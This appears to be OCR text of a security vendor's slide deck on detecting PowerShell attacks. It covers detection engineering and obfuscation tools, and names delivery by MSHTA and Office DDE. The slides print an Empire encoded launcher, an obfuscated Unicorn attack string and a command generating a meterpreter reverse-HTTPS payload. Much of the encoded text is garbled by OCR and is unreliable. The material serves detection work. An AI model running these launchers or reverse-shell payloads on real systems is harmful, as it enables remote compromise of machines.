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JABHAHMAOQABAEMACgE TAGEADAB T AFQAaABVAGUAYOEKACgAMAASADAAL AAKAFEATWASADAAL AMAWACWAMAAPADSAZ gBvAHIATAADADS AKQ BT AFMAdABRAHIADAATAFMABAE 1 AGUACAAGADYAMAE SADS ATWATACQADQBRACAAPTAQAFSA
JwB5 AHMAJAB 1 AGOAL gB DAGEAbgBE2 AGUACGEOAFDADgABAFQABWBCAGEACWE 1 ADY ANABTAHQACGEpAGAAZ wiADAF s AUWES AHMADAR 1 AGODAL gBUAGUASABOACAARQB UAGMAbwEAGkADGENAFDADgAGAF UADLGE pAGMAbWEkAGUAL gBHAGLA
JABCAHKADABR T AHMAKAAKAE TAZ wApAC kAOWAKAEgAYQAGADDATAATACOAZ QB JACAAT gA7 AGKAT gADAF SASQBUAHOAUABOAHTAXQAGADOALUWE pAHOAZ QAgAC DAZ QB x ACAADAADAHSATABRAEBAOAGADDATAAKAGUABGE2 ADDALUWES AHMA
1ABR T AGDAUGEvAGEBAdAAgAC sATAAT AFWACWES AHM AdwBvAHCANgADAFWAVWE pAGAAZ ABvAHCACWBOAGEADWE 1 AHIAUWB oAGUABAE s AFwAd gAx ACAAMAE cAHAABWE 3AGUACGE ZAGOAZ OB s AGWALgAF AGKAZOBAACAAT g AmACAATABRAESRA



Threat Analysis Unit (TAU)

AApplied Research Team Missipimveéstigate and research new TTPs to
make sure that our customers are protected. Lead 3rd party testing and
other security efficacy projects.

AReverse Engineer malware

ATrack botnets and automate malware sample extraction
AEvaluate and remediate product bypasses

ABuild and maintain threat detection queries
AEtcX




Detection Engineering

ALeverage available datasets to build kiglelity indicators of threat actor
activity.

AQueries can be used for hunting / alerting / enrichment

AFocus on speed and accuracy

ATest > Validate > Document > Refine > Repeat
ADefine scoring and feed placement by Risk

ARelease!
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T1086- PowerShell

AWNhy not alert on al
AEncoded command

AOKk¢ but what about hits tag
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Traditional Threat Lists for PowerShell
- Keying off of specific parameters / cmdlets / functions

root@kali:/usr/share/empire# cat pw-launcher.txt

powershell| -noP -sta -w 1 -enc | SQBGACgAJABQAFMAVgEFAFIAUWBpAGEATgBUAGEAYgBEMAEUALgBQAFMAVgBLAFTAUWBIAGEAbg)
BwAEUAKAAnAFMAe(BzAHOQAZ(BtAC4ATOBhAG4AY()BnAGUALQBLAGAAdAAUAEEAdQBBAGBABQBhAHQAGQBVAG4AL gBVAHQAGQB sAHMAIwAp/
ACcALAANAE4AIwArACcAbwBuAFAAdQB1AGwAGQB jACWAUWBBAGEAABPAGMAIWAPADSAS(QBGACgAJABHAFAARgApAHSAJABHAFAAQWASACC
cAbABVAGMAawBMAGEAZwWBnAGkAbgBnACcAXQApAHSAJABHAFAAQwWBBAC cAUwB jAHTAaQBwAHQAQgANACSAIwBsAGEAYWBr AEwAbwENAGC A
JABHAFAAQwBbAC cAUwE JAHIAa(QBwAHQAQgANAC sAIWB sAGBAYwE rAEwAbwBnAGcAaQBuAGcAIWBdAFsAIWBFAG4AY(QBiAGWAZQBTAGMAC gl
BMAGUAYwBBAGKATWBUAFMAL gBHAEUAbgB1AFTASQE JAC4ARABIAGMAVABpAGBAbgBBAHTANQBbAHMAABYAE kAbgBnACwWAUWBSAFMAVABL)
AHQAQgANACsAIwEsAGEAYwWE rAEwAbwEnAGcAaQBuAGcAIwAsADAAKQATACQAdgBhAGwWAL gBBAEQAZ AACACcARQBUAGEAY gB sAGUAUWE jAH!
UAWQB fAEwATWBDAEEATABfAE@AQQBDAEgASQBOAEUAXABTAGBAZgBOAHCAY(BYAGUAXABQAGBABABPAGMAGQBTAHMAXABNAGKAYWBYAGBA:
bwBnAGcAaQBuAGcAIwBdADBAIABWAEEADABIAEUATABTAEUAewBbAFMAYwWBYAEKACABBAETATABVAGMASWBAAC4ATgBHAGUAdABGAEKAZQE
ApAC4AUwWBLAHOQAVgBBAGWAAQB1ACgAJABDAFUATABMACWAKABOAEUAdwALAEBAQgBKAGUAYwWBUACAAQwWBvAEWADABFAEMAVABpAGBATgBzZ)
AGwAeQAUAEcARQBOAFQAeQBQAGUAKAANAFMA(QBZzAHQAZ(QBtACAATORhAG4AY(BnAGUABQBLAGAAdAAUAEEADQBROAGEABQBhAHQAGQBVAG:
kAbgBpAHQARGBhAGKAbABLAGQAIwWASACCATgBvAG4AUABLIAGIABABPAGMALABTAHQAY(QBRAGKAYwWANACKALgBTAGUAVABWAEEADABIAEUAL
bgBBAEBAQQBUAGEARWE FAFTAX(QAGADCARQBYAFAAZQBDAFQAM)AWADAAQWBPAGAAVABpAE4AVQE1ADBAMAATACQAVWEDADBATgB FAF cALQE
AvADUALgAwACAAKABXAGKkAbgBkAGEAdwEZACAATgBUACAANGAUADEAOWAgAF cATWBXADY ANAAZACAAVABYAGKAZABLAG4AdAAVADCAL ghw)
ACcAVQBzAGUACgAtAEEAZWBLAGAAAANACWAIABLIACKAOWAKAF cAQwAUAFAACgBPAHgAeQAQAF sAUWBZAHMAVABFAERAL gBOAEUAdAAUAF:
MAcgB1AGQARQBOAHQAQQBhAEwWAUWAgADBATABDAFMAWQBEZzAFQAZ(BNACAATgBFAF(QALgBDAFTARQBEAGUADbgBAAE KAQOBMAEMAY(B JAEgAF
cgBvAHgAeQAgADBATAAKAHCAYwAUAFAACgBvAHgAeQATACQASWASAF sAUWBSAFMAQABLAEGAL gBUAEUANABUAC4ARQBUAGMATWE KAEKAT gl
ASAEEAPgAxAHKAWAAJAGoAKgBmAHMAOgASACcAKQA7ACQAUGA9AHSAJABEACWAIABLAD@AIABBAFTARWBTADSAJABTAD@AMAAUACAAMgAL)
AFBAKQALADIANQAZADsAJABTAFSAJABFAFBALAAKAFMAWWAKAECAXQASACQAUWBbACQASgBAACWAIABTAFSAJABFAFBAFQATACQARABSACL
kAXQAsACQAUWBBACQASABAAD@AIABTAF sAJABTAFQALAAKAFMAWWAKAE AXQATACQANWALAGTAWABVAHTAJABTAF sAKAAKAFMANwAIAE KA)
OAAUADEAQQAWADOADAAWAC cAOwWAKAHQAPQANACBAbABVAGcAaQBUACEACABYAGEAYwWE LAHMACwWAUAHAAQABWAC cAOwAKAHCAQwAUAEgAZ QI
BNAGMAGQBhAGYAUwBJAEMARWBUAEWATWALAEYARgAWADBAT gApADsAJABEAEEAVABhAD@AIJABXAEMAL gBEAGBAVWBUAGWATWBBAEQARABK/

https:// gist.github.comgfos$2b39d680badd2cad9d82
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Traditional Threat Lists for PowerShelie Useless

Obfuscation is consistently improving around subverting common
PowerShell attack detection rules. Easy to catch basic attacks, not adva
adversaries.

i InvokeObfuscation, Invoké€radlecrafterUnicorn,etcX

rootlkali: /usr/share/unicorn¥ cat powershell attack.txt
powershell fw 1 fC "s'"'vw QF —:3"'v ec e''c;3"'v WIv ((g''v QP) .value.toScring()+(g'""'v ec) .value.toScring () ) ;powershell (g''vw WIv).value.toString()
CATARSRACAR JWwAKARTAaQAgADCOATA AN ACCcAWWBEAGWARABJAGOACARVAHT AdRACACTAaWBIAHT AL gBl AGWAMWAyACA R Z AR AGWATgARAFOACARI AGT ARABRAGMATARZAHOAYOBOAGKAYWRAGRGT
gEuRACARSOEnRHORTAROAHTATARWAGKAcgEO AHUAYOEsAREARARsAGEAYWwAOAR KA gBOAFARARRyvAC A AL A RWwAFREA Z ARk HT A Z OBz A HMA T AL g HTAaQBuAHOATAR KAHCATTWEDRAHORZQRSACARAQE
AEYRARABBAGWALABVAGCGHMAYOBOAGKALWEUAFOAeOBWAGTALARgRAHTAaOBUAHOATARMAGCWATARyAGEAALR] AGHMAARADA D AWWBEAGWARABJAGOACABVAH T AdAROAC T AawBl1 AHT A gBL A GWAMWE I
RTghpiFORCABI AGT AL A RpAGHMAT ARz A HOAYOROAGKAYWAgRAGULRe AR OAGTAcgBu A CA R SOBuAHOATAROAHTATARDAHTAZOBh AHOA ZOBTAGgAcgBl1 AGELZ AR o AR kA hgBOAFARdRA By AC AR LA RBWAFOL A
BEAFREAAAROAHTAaQBIi AHTAdARI ANMAT.ARgAHTAaO0BuAHOATARKAHCATTIWBOAGEAYWEBrAFMA aQBeAGUALALgAR kAL gBOAFARAARYACA A RARWAFMAALBh AHT AALABRAGOAZARyAGUACWBEZACWAT AR
HOAcghghGWwhcABQAGELcgBhAGOAZOBOAGTAcgASACARAQBRAGE AA LR GOAAWEDAHT AZOBRAHOAAOBVAGEARgESAGEA ZWBzACWATARJAGA AALBOAHOQA cgAghGWACABUAGgAcgBlAGELA ZABJAL
FLBsAGWASOBCAHAALWEBYAHOQARAR] AGOLAcWBZAGHACcgB0ACARZABsACWATgRRAFOACABl AGT ARABRRACGHMATAR=AHOAYOROAGK LAY WwAgAGUAeRROAGTACcgBuAC AR SOBuAHOATAROAHTATAR T AGT AL
cAEkAbgBOAFALARBRACAAZAR] AHMAAR A s ACARdOBRpAGAAALAgRHMACgB JACWATARI AGKALgBOACAA YWEvAHIALgBOACKROWEN ACCcAOWA kAR cAowAgADOATARBAGORA AL CAFOReOBWAGTTAT AR L
TaZ0BvAEQRZOBMAGKA L gBpAHOAa OB vAGA AT AR AR A g COATgBRAGOAZQRgACT AVWBDAGA AMw A v A CTAT AR AGA A Y OBt AT A cwBWAGERYWE 1 ACA RAVWEBRAGA AMWA vAE Y B AQBuAGHMAARBRAGE
OBWwAGEAcWEBzRAHQAa AR vAHTACWERARE T Ae QB0 AGTANWEAAF I ACWEBRAE TAc QB AGUANWEdAFOAJABEAR4AAT AR S ACAMMARA AGY AYWwhsADA e AR ADGATAAWAHgROAR vACWAMARAADAAMA RS ATIA R &

Alternative Detection Methods are Needed
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Many ways to deliver PowerShell payloads

ASome favoriteg MSHTA and Office Document DDE

H - = Book1 - Excel

Insert Page Layout Formulas Data Review View Q Tell me what you want to do

Install the connection agent (popup) to continue. ..
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Example Detection WalkthroughUnicorn

Ahttps:// github.comtrustedsecunicorn
i Dave Kennedy (&ackingDave

17 A Administrator: Windows PowerShell
A1 Hindows PowerShell
— il 177/ Copyright (C) Microsoft Corporation. All rights reserved.
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Generate a basic payload

N Administrator: Windows PowerShell

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\tbrady> powershell /w 1 /C

# pythonunicorn.pywindows/meterpreter/ reverse httpSKxx. XXX. XXX.xx&43
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Execute the Attack and Gather Telemetry

Alnvestigate activities observed in your security stack

AFocus on
keeping it AL
NIt AaluAOX

AAvoid too
much post
exploitation
unless that
IS INn scope

Carbon Black.



